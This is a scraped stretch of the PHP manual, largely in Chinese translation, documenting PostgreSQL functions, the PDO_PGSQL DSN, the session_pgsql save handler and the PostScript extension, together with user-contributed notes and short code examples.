// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com
03-Sep-2003 05:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard
05-Jan-2003 11:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
   "SELECT id FROM users;
   SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
   SELECT name FROM countries;");

while ($result = pg_get_result($connection))
   $results[] = $result;

The $results array will only have two items in it.
add a note add a note

后退 | 起点 | 前进
pg_send_query_params | 上一级 | pg_set_client_encoding


pg_set_client_encoding

(PHP 3 CVS only, PHP 4 >= 4.0.3, PHP 5)

pg_set_client_encoding -- 设定客户端编码

说明

int pg_set_client_encoding ( [resource connection, string encoding] )

pg_set_client_encoding() 设定客户端编码方式，成功返回 0，出错返回 -1。

encoding 是客户端的编码方式，可以为：SQL_ASCII，EUC_JP，EUC_CN，EUC_KR，EUC_TW，UNICODE，MULE_INTERNAL，LATINX (X=1...9)，KOI8，WIN，ALT，SJIS，BIG5，WIN1250。可用的编码取决于 PostgreSQL 和 libpq 的版本。参考 PostgreSQL 手册查看你的 PostgreSQL 所支持的编码方式。

注: 本函数需要 PHP 4.0.3 或以上版本以及 PostgreSQL 7.0 或以上版本。所支持的编码方式取决于 PostgreSQL 的版本，详情参考 PostgreSQL 手册。

本函数以前的名字为 pg_setclientencoding()。

参见 pg_client_encoding()。

add a note add a note User Contributed Notes
14-Jul-2001 11:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.
add a note add a note

后退 | 起点 | 前进
pg_send_query | 上一级 | pg_set_error_verbosity


pg_set_error_verbosity

(PHP 5 >= 5.1.0RC1)

pg_set_error_verbosity -- Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

说明

int pg_set_error_verbosity ( resource connection, int verbosity )

int pg_set_error_verbosity ( int verbosity )

Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

pg_set_error_verbosity() sets the verbosity mode, returning the connection's previous setting. In PGSQL_ERRORS_TERSE mode, returned messages include severity, primary text, and position only; this will normally fit on a single line. The default mode (PGSQL_ERRORS_DEFAULT) produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines). The PGSQL_ERRORS_VERBOSE mode includes all available fields. Changing the verbosity does not affect the messages available from already-existing result objects, only subsequently-created ones.

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

verbosity

The required verbosity: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

返回值

The previous verbosity level: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

范例

例子 1. pg_set_error_verbosity() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

参见

pg_last_error()
pg_result_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_set_client_encoding | 上一级 | pg_trace


pg_trace

(PHP 4 >= 4.0.1, PHP 5)

pg_trace -- 启动一个 PostgreSQL 连接的追踪功能

说明

bool pg_trace ( string pathname [, string mode [, resource connection]] )

pg_trace() 启动 PostgreSQL 前端／后端通讯的追踪并记录到 pathname 指定的文件中。要完全理解结果，用户需要熟悉 PostgreSQL 通讯协议的本质。对不熟悉的用户来说，追踪发送到服务器的查询错误依然有用，例如可以用 grep '^To backend' trace.log 来查看哪些查询实际上被发送到了 PostgreSQL 服务器。更多信息参考 PostgreSQL 手册。

参数 pathname 和 mode 和 fopen()(mode 默认为 'w') 中的一样。connection 指定了要追踪的连接，默认为上一个打开的连接。

如果 pathname 可以作为日志文件打开，则 pg_trace() 返回 TRUE，否则返回 FALSE。

参见 fopen() 和 pg_untrace()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_set_error_verbosity | 上一级 | pg_transaction_status


pg_transaction_status

(PHP 5 >= 5.1.0RC1)

pg_transaction_status -- Returns the current in-transaction status of the server.

说明

int pg_transaction_status ( resource connection )

Returns the current in-transaction status of the server.

注意

pg_transaction_status() will give incorrect results when using a PostgreSQL 7.3 server that has the parameter autocommit set to off. The server-side autocommit feature has been deprecated and does not exist in later server versions.

参数

connection

PostgreSQL database connection resource.

返回值

The status can be PGSQL_TRANSACTION_IDLE (currently idle), PGSQL_TRANSACTION_ACTIVE (a command is in progress), PGSQL_TRANSACTION_INTRANS (idle, in a valid transaction block), or PGSQL_TRANSACTION_INERROR (idle, in a failed transaction block). PGSQL_TRANSACTION_UNKNOWN is reported if the connection is bad. PGSQL_TRANSACTION_ACTIVE is reported only when a query has been sent to the server and not yet completed.

范例

例子 1. pg_transaction_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_transaction_status($dbconn);
  if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
      echo 'Connection is bad';
  } else if ($stat === PGSQL_TRANSACTION_IDLE) {
      echo 'Connection is currently idle';
  } else {
      echo 'Connection is in a transaction state';
  }
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_trace | 上一级 | pg_tty


pg_tty

(PHP 3, PHP 4, PHP 5)

pg_tty -- 返回该连接的 tty 号

说明

string pg_tty ( resource connection )

pg_tty() 返回指定 PostgreSQL connection 资源在服务器端输出调试信息的 tty 号。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_transaction_status | 上一级 | pg_unescape_bytea


pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5)

pg_unescape_bytea -- 取消 bytea 类型中的字符串转义

说明

string pg_unescape_bytea ( string data )

pg_unescape_bytea() 将 bytea 数据类型中的字符串取消转义。返回未转义的字符串（二进制）。

注: 当 SELECT bytea 类型，PostgreSQL 返回用 \ 前导的八进制字节值（例如 \032）。用户需要自行将其转换回二进制格式。

本函数需要 PostgreSQL 7.2 或更新版本。在 PostgreSQL 7.2.0 和 7.2.1 中，当激活了多字节支持时必须强制转换为 bytea 类型，例如 INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea);。PostgreSQL 7.2.2 或更新版本不需要强制转换。例外是当客户端和后端的字符编码不匹配时，有可能出现多字节流错误。用户必须强制转换为 bytea 来避免此错误。

参见 pg_escape_bytea() 和 pg_escape_string()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_tty | 上一级 | pg_untrace


pg_untrace

(PHP 4 >= 4.0.1, PHP 5)

pg_untrace -- 关闭 PostgreSQL 连接的追踪功能

说明

bool pg_untrace ( [resource connection] )

停止由 pg_trace() 启动的追踪功能。connection 指定了被追踪的连接号，默认为上一个打开的连接。

本函数总是返回 TRUE。

参见 pg_trace()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_unescape_bytea | 上一级 | pg_update


pg_update

(PHP 4 >= 4.3.0, PHP 5)

pg_update -- 更新表

说明

mixed pg_update ( resource connection, string table_name, array data, array condition [, int options] )

pg_update() 用 condition 作为条件查询数据库，用 data 中的数据更新符合条件的记录。如果指定了 options，则 pg_convert() 会按照指定选项作用到 data 上。

例子 1. pg_update

<?php
    $db = pg_connect ('dbname=foo');
    $data = array('field1'=>'AA', 'field2'=>'BB');
    // This is safe, since $_POST is converted automatically
    $res = pg_update($db, 'post_log', $_POST, $data);
    if ($res) {
        echo "Data is updated: $res\n";
    }
    else {
        echo "User must have sent wrong inputs\n";
    }
?>

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_convert()。

add a note add a note User Contributed Notes
jhooks
13-Apr-2006 10:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com
14-Jun-2005 10:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>
add a note add a note

后退 | 起点 | 前进
pg_untrace | 上一级 | pg_version


pg_version

(PHP 5)

pg_version -- Returns an array with client, protocol and server version (when available)

说明

array pg_version ( [resource connection] )

pg_version() returns an array with the client, protocol and server version. Protocol and server versions are only avaliable if PHP was compiled with PostgreSQL 7.4 or later.

For more detailed server information, use pg_parameter_status().

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

返回值

Returns an array with client, protocol and server_version keys and values (if available). Returns FALSE on error or invalid connection.

范例

例子 1. pg_version() example

<?php
  $dbconn = pg_connect("host=localhost port=5432 dbname=mary")
     or die("Could not connect");

  $v = pg_version($dbconn);

  echo $v['client'];
?>

上例将输出：

7.4

参见

pg_parameter_status()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_update | 上一级 | PostgreSQL Functions (PDO_PGSQL)


PostgreSQL Functions (PDO_PGSQL)

PHP 手册
后退 前进

CXII. PostgreSQL Functions (PDO_PGSQL)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_PGSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to PostgreSQL databases.

目录
PDO_PGSQL DSN -- Connecting to PostgreSQL databases

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_version | 上一级 | PDO_PGSQL DSN


PDO_PGSQL DSN

(no version information, might be only in CVS)

PDO_PGSQL DSN -- Connecting to PostgreSQL databases

说明

The PDO_PGSQL Data Source Name (DSN) is composed of the following elements, delimited by spaces:

DSN prefix

The DSN prefix is pgsql:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

user

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

password

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

范例

例子 1. PDO_PGSQL DSN examples

The following example shows a PDO_PGSQL DSN for connecting to a PostgreSQL database:
pgsql:host=localhost port=5432 dbname=testdb user=bruce password=mypass

add a note add a note User Contributed Notes
Chris C.
15-Nov-2005 01:12
The PDO_PGSQL DSN should be seperated by semi-colons not spaces. It should follow the convention like the rest of the PDO DSNs.

'pgsql:dbname=example;user=nobody;password=change_me;host=localhost'
add a note add a note

后退 | 起点 | 前进
PostgreSQL Functions (PDO_PGSQL) | 上一级 | PostgreSQL Session Save Handler


PostgreSQL Session Save Handler

PHP 手册
后退 前进

CXIII. PostgreSQL Session Save Handler

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

注: 本扩展模块在 Windows 平台下不可用。

This module provide additional session save handler for session module using PostgreSQL as a storage. user session save handler may be used, but this module is written in C. Therefore, this module is roughly 2 times faster than save handler written in PHP script.

Fail-over and load balance is planned to be implemented, but they are not available now.

注: There will be functions for this module, but it is not available now.

需求

You need at least PHP 4.1, PostgreSQL 7.1 and MM 1.1.3

安装

Short installation note:

  • Untar the tar.gz archive into php4/ext (Latest official releases can be found at SourceForge PHP Form Extension Project)

  • If the new directory is now called something like session_pgsql. You should name it to session_pgsql (except you only want to build it as self-contained php-module).

  • Run ./buildconf in php4

  • Run configure --with-session-pgsql (and your other options)

  • make; make install

运行时配置

这些函数的行为受 php.ini 的影响。

PostgreSQL session save handler is still under development. Refer to the README file in the source distribution for configuration details.

Contact Information

I have at the moment not very much time to further develop this extension. I will implement more and more features in the near future.

If you have comments, bug fixes, enhancements or want to help developing this, you can drop me a mail at yohgaki@php.net. Any help is very welcome.

目录
session_pgsql_add_error -- Increments error counts and sets last error message
session_pgsql_get_error -- Returns number of errors and last error message
session_pgsql_get_field -- Get custom field value
session_pgsql_reset -- Reset connection to session database server
session_pgsql_set_field -- Set custom field value
session_pgsql_status -- Get current save handler status

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO_PGSQL DSN | 上一级 | session_pgsql_add_error


session_pgsql_add_error

(PECL)

session_pgsql_add_error -- Increments error counts and sets last error message

说明

bool session_pgsql_add_error ( int error_level [, string error_message] )

警告

本函数暂无文档，仅有参数列表。

参数

error_level

error_message

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

session_pgsql_get_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PostgreSQL Session Save Handler | 上一级 | session_pgsql_get_error


session_pgsql_get_error

(PECL)

session_pgsql_get_error -- Returns number of errors and last error message

说明

array session_pgsql_get_error ( [bool with_error_message] )

Get the number of errors and optional the error messages.

参数

with_error_message

Set to TRUE the literal error message for each error is also returned.

返回值

The number of errors are returned as array.

参见

session_pgsql_add_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_pgsql_add_error | 上一级 | session_pgsql_get_field


session_pgsql_get_field

(PECL)

session_pgsql_get_field -- Get custom field value

说明

string session_pgsql_get_field ( void )

警告

本函数暂无文档，仅有参数列表。

参见

session_pgsql_set_field()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_pgsql_get_error | 上一级 | session_pgsql_reset


session_pgsql_reset

(PECL)

session_pgsql_reset -- Reset connection to session database server

说明

bool session_pgsql_reset ( void )

Reset the connection to the session database server.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_pgsql_get_field | 上一级 | session_pgsql_set_field


session_pgsql_set_field

(PECL)

session_pgsql_set_field -- Set custom field value

说明

bool session_pgsql_set_field ( string value )

警告

本函数暂无文档，仅有参数列表。

参数

value

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

session_pgsql_get_field()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_pgsql_reset | 上一级 | session_pgsql_status


session_pgsql_status

(PECL)

session_pgsql_status -- Get current save handler status

说明

array session_pgsql_status ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
session_pgsql_set_field | 上一级 | PostScript document creation


PostScript document creation

PHP 手册
后退 前进

CXIV. PostScript document creation

简介

This module allows to create PostScript documents. It has many similarities with the pdf extension. Actually the API is almost identical and one can in many cases just replace the prefix of each function from pdf_ to ps_. This also works for functions which has no meaning in the PostScript document (like adding hyperlinks) but will have an effect if the document is converted to PDF.

Documents created by this extension are sometimes even superior to documents created with the pdf extension, because pslib's text rendering functions can handle kerning, hyphenation and ligatures which results in much better output of boxed text.

需求

You need at least PHP 4.3.0 and pslib >= 0.1.12. The ps library (pslib) is available at http://pslib.sourceforge.net/.

安装

A short installation note: just type
$ pear install ps
in your console.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

The following two tables lists all constants defined by the ps extension.

表格 1. Contants for line caps

Name | Meaning
ps_LINECAP_BUTT |
ps_LINECAP_ROUND |
ps_LINECAP_SQUARED |

表格 2. Contants for line joins

Name | Meaning
ps_LINEJOIN_MITER |
ps_LINEJOIN_ROUND |
ps_LINEJOIN_BEVEL |

Contact Information

If you have comments, bugfixes, enhancements for either this extension or pslib then please drop me a mail steinm@php.net. Any help is very welcome.

目录
ps_add_bookmark -- Add bookmark to current page
ps_add_launchlink -- Adds link which launches file
ps_add_locallink -- Adds link to a page in the same document
ps_add_note -- Adds note to current page
ps_add_pdflink -- Adds link to a page in a second pdf document
ps_add_weblink -- Adds link to a web location
ps_arc -- Draws an arc counterclockwise
ps_arcn -- Draws an arc clockwise
ps_begin_page -- Start a new page
ps_begin_pattern -- Start a new pattern
ps_begin_template -- Start a new template
ps_circle -- Draws a circle
ps_clip -- Clips drawing to current path
ps_close_image -- Closes image and frees memory
ps_close -- Closes a PostScript document
ps_closepath_stroke -- Closes and strokes path
ps_closepath -- Closes path
ps_continue_text -- Continue text in next line
ps_curveto -- Draws a curve
ps_delete -- Deletes all resources of a PostScript document
ps_end_page -- End a page
ps_end_pattern -- End a pattern
ps_end_template -- End a template
ps_fill_stroke -- Fills and strokes the current path
ps_fill -- Fills the current path
ps_findfont -- Loads a font
ps_get_buffer -- Fetches the full buffer containig the generated PS data
ps_get_parameter -- Gets certain parameters
ps_get_value -- Gets certain values
ps_hyphenate -- Hyphenates a word
ps_lineto -- Draws a line
ps_makespotcolor -- Create spot color
ps_moveto -- Sets current point
ps_new -- Creates a new PostScript document object
ps_open_file -- Opens a file for output
ps_open_image_file -- Opens image from file
ps_open_image -- Reads an image for later placement
ps_place_image -- Places image on the page
ps_rect -- Draws a rectangle
ps_restore -- Restore previously save context
ps_rotate -- Sets rotation factor
ps_save -- Save current context
ps_scale -- Sets scaling factor
ps_set_border_color -- Sets color of border for annotations
ps_set_border_dash -- Sets length of dashes for border of annotations
ps_set_border_style -- Sets border style of annotations
ps_set_info -- Sets information fields of document
ps_set_parameter -- Sets certain parameters
ps_set_text_pos -- Sets position for text output
ps_set_value -- Sets certain values
ps_setcolor -- Sets current color
ps_setdash -- Sets appearance of a dashed line
ps_setflat -- Sets flatness
ps_setfont -- Sets font to use for following output
ps_setgray -- Sets gray value
ps_setlinecap -- Sets appearance of line ends
ps_setlinejoin -- Sets how contected lines are joined
ps_setlinewidth -- Sets width of a line
ps_setmiterlimit -- Sets the miter limit
ps_setpolydash -- Sets appearance of a dashed line
ps_shading_pattern -- Creates a pattern based on a shading
ps_shading -- Creates a shading for later use
ps_shfill -- Fills an area with a shading
ps_show_boxed -- Output text in a box
ps_show_xy -- Output text at given position
ps_show -- Output text
ps_string_geometry -- Gets geometry of a string
ps_stringwidth -- Gets width of a string
ps_stroke -- Draws the current path
ps_symbol_name -- Gets name of a glyph
ps_symbol_width -- Gets width of a glyph
ps_symbol -- Output a glyph
ps_translate -- Sets translation

add a note add a note User Contributed Notes
billy dot diehl at us dot army dot mil
31-May-2006 06:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com
15-Nov-2005 08:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.
add a note add a note

后退 | 起点 | 前进
session_pgsql_status | 上一级 | ps_add_bookmark


ps_add_bookmark

(PECL)

ps_add_bookmark -- Add bookmark to current page

说明

int ps_add_bookmark ( resource psdoc, string text [, int parent [, int open]] )

Adds a bookmark for the current page. Bookmarks usually appear in PDF-Viewers left of the page in a hierarchical tree. Clicking on a bookmark will jump to the given page.

The bookmark has no meaning if the document is printed or viewed but it will be used if the document is converted to pdf by either Acrobat Distiller or Ghostview.

参数

psdoc

text

parent

The parameter parent is another bookmark which is used as the parent of the new bookmark.

open

If open is unequal to zero the bookmark will be shown open by the pdf viewer.

返回值

The returned value is a reference for the bookmark. It is only used if the bookmark shall be used as a parent.

Returns the identifier of the bookmark or zero in case of an error. The identifier is a positive number.

参见

ps_add_launchlink()
ps_add_pdflink()
ps_add_weblink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PostScript document creation | 上一级 | ps_add_launchlink


ps_add_launchlink

(PECL)

ps_add_launchlink -- Adds link which launches file

说明

bool ps_add_launchlink ( resource psdoc, float llx, float lly, float urx, float ury, string filename )

Places a hyperlink at the given position pointing to a file program which is being started when clicked on. The hyperlink start is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The hyperlink will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller or Ghostview.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_add_locallink()
ps_add_pdflink()
ps_add_weblink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_bookmark | 上一级 | ps_add_locallink


ps_add_locallink

(PECL)

ps_add_locallink -- Adds link to a page in the same document

说明

bool ps_add_locallink ( resource psdoc, float llx, float lly, float urx, float ury, int page, string dest )

Places a hyperlink at the given position pointing to a page in the same document. Clicking on the link will jump to the given page. The first page in a document has number 1.

The hyperlink start is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The hyperlink will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller or Ghostview.

参数

psdoc

llx

lly

urx

ury

page

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_add_launchlink()
ps_add_pdflink()
ps_add_weblink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_launchlink | 上一级 | ps_add_note


ps_add_note

(PECL)

ps_add_note -- Adds note to current page

说明

bool ps_add_note ( resource psdoc, float llx, float lly, float urx, float ury, string contents, string title, string icon, int open )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_add_pdflink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_locallink | 上一级 | ps_add_pdflink


ps_add_pdflink

(PECL)

ps_add_pdflink -- Adds link to a page in a second pdf document

说明

bool ps_add_pdflink ( resource psdoc, float llx, float lly, float urx, float ury, string filename, int page, string dest )

Places a hyperlink at the given position pointing to a second pdf document. Clicking on the link will branch to the document at the given page. The first page in a document has number 1.

The hyperlink start is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The hyperlink will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller or Ghostview.

参数

psdoc

llx

lly

urx

ury

filename

page

dest

The parameter dest determines how the document is being viewed. It can be fitpage, fitwidth, fitheight, or fitbbox.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_add_launchlink()
ps_add_locallink()
ps_add_weblink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_note | 上一级 | ps_add_weblink


ps_add_weblink

(PECL)

ps_add_weblink -- Adds link to a web location

说明

bool ps_add_weblink ( resource psdoc, float llx, float lly, float urx, float ury, string url )

Places a hyperlink at the given position pointing to a web page. The hyperlink start is a rectangle with its lower left corner at (llx, lly) and its upper right corner at (urx, ury). The rectangle has by default a thin blue border.

The hyperlink will not be visible if the document is printed or viewed but it will show up if the document is converted to pdf by either Acrobat Distiller or Ghostview.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_add_launchlink()
ps_add_locallink()
ps_add_pdflink()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_pdflink | 上一级 | ps_arc


ps_arc

(PECL)

ps_arc -- Draws an arc counterclockwise

说明

bool ps_arc ( resource psdoc, float x, float y, float radius, float alpha, float beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn counterclockwise. The subpath added to the current path starts on the arc at angle alpha and ends on the arc at angle beta.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_arcn()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_add_weblink | 上一级 | ps_arcn


ps_arcn

(no version information, might be only in CVS)

ps_arcn -- Draws an arc clockwise

说明

bool ps_arcn ( resource psdoc, float x, float y, float radius, float alpha, float beta )

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn clockwise. The subpath added to the current path starts on the arc at angle beta and ends on the arc at angle alpha.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_arc()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_arc | 上一级 | ps_begin_page


ps_begin_page

(PECL)

ps_begin_page -- Start a new page

说明

bool ps_begin_page ( resource psdoc, float width, float height )

Starts a new page. Although the parameters width and height imply a different page size for each page, this is not possible in PostScript. The first call of ps_begin_page() will set the page size for the whole document. Consecutive calls will have no effect, except for creating a new page. The situation is different if you intent to convert the PostScript document into PDF. This function places pdfmarks into the document which can set the size for each page indiviually. The resulting PDF document will have different page sizes.

Each page is encapsulated into save/restore. This means, that most of the settings made on one page will not be retained on the next page.

If there is up to the first call of ps_begin_page() no call of ps_findfont(), then the header of the PostScript document will be output and the bounding box will be set to the size of the first page. If ps_findfont() was called before the header has been output already, the document will not have a valid bounding box. In order to prevent this, one should call ps_set_info() to set the info field BoundingBox and possibly Orientation before any ps_findfont() or ps_begin_page() calls.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_end_page()
ps_findfont()
ps_set_info()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_arcn | 上一级 | ps_begin_pattern


ps_begin_pattern

(PECL)

ps_begin_pattern -- Start a new pattern

说明

bool ps_begin_pattern ( resource psdoc, float width, float height, float xstep, float ystep, int painttype )

Starts a new pattern.

返回值

The identifier of the pattern or FALSE in case of an error.

参见

ps_end_pattern()
ps_setcolor()
ps_shading_pattern()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_begin_page | 上一级 | ps_begin_template


ps_begin_template

(PECL)

ps_begin_template -- Start a new template

说明

bool ps_begin_template ( resource psdoc, float width, float height )

Starts a new template.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_end_template()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_begin_pattern | 上一级 | ps_circle


ps_circle

(PECL)

ps_circle -- Draws a circle

说明

bool ps_circle ( resource psdoc, float x, float y, float radius )

Draws a circle with its middle point at (x, y). The circle starts and ends at position (x+radius, y). If this function is called outside a path it will start a new path. If it is called within a path it will add the circle as a subpath. If the last drawing operation does not end in point (x+radius, y) then there will be a gap in the path.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_arc()
ps_arcn()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_begin_template | 上一级 | ps_clip


ps_clip

(PECL)

ps_clip -- Clips drawing to current path

说明

bool ps_clip ( resource psdoc )

Takes the current path and uses it to define the border of a clipping area.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

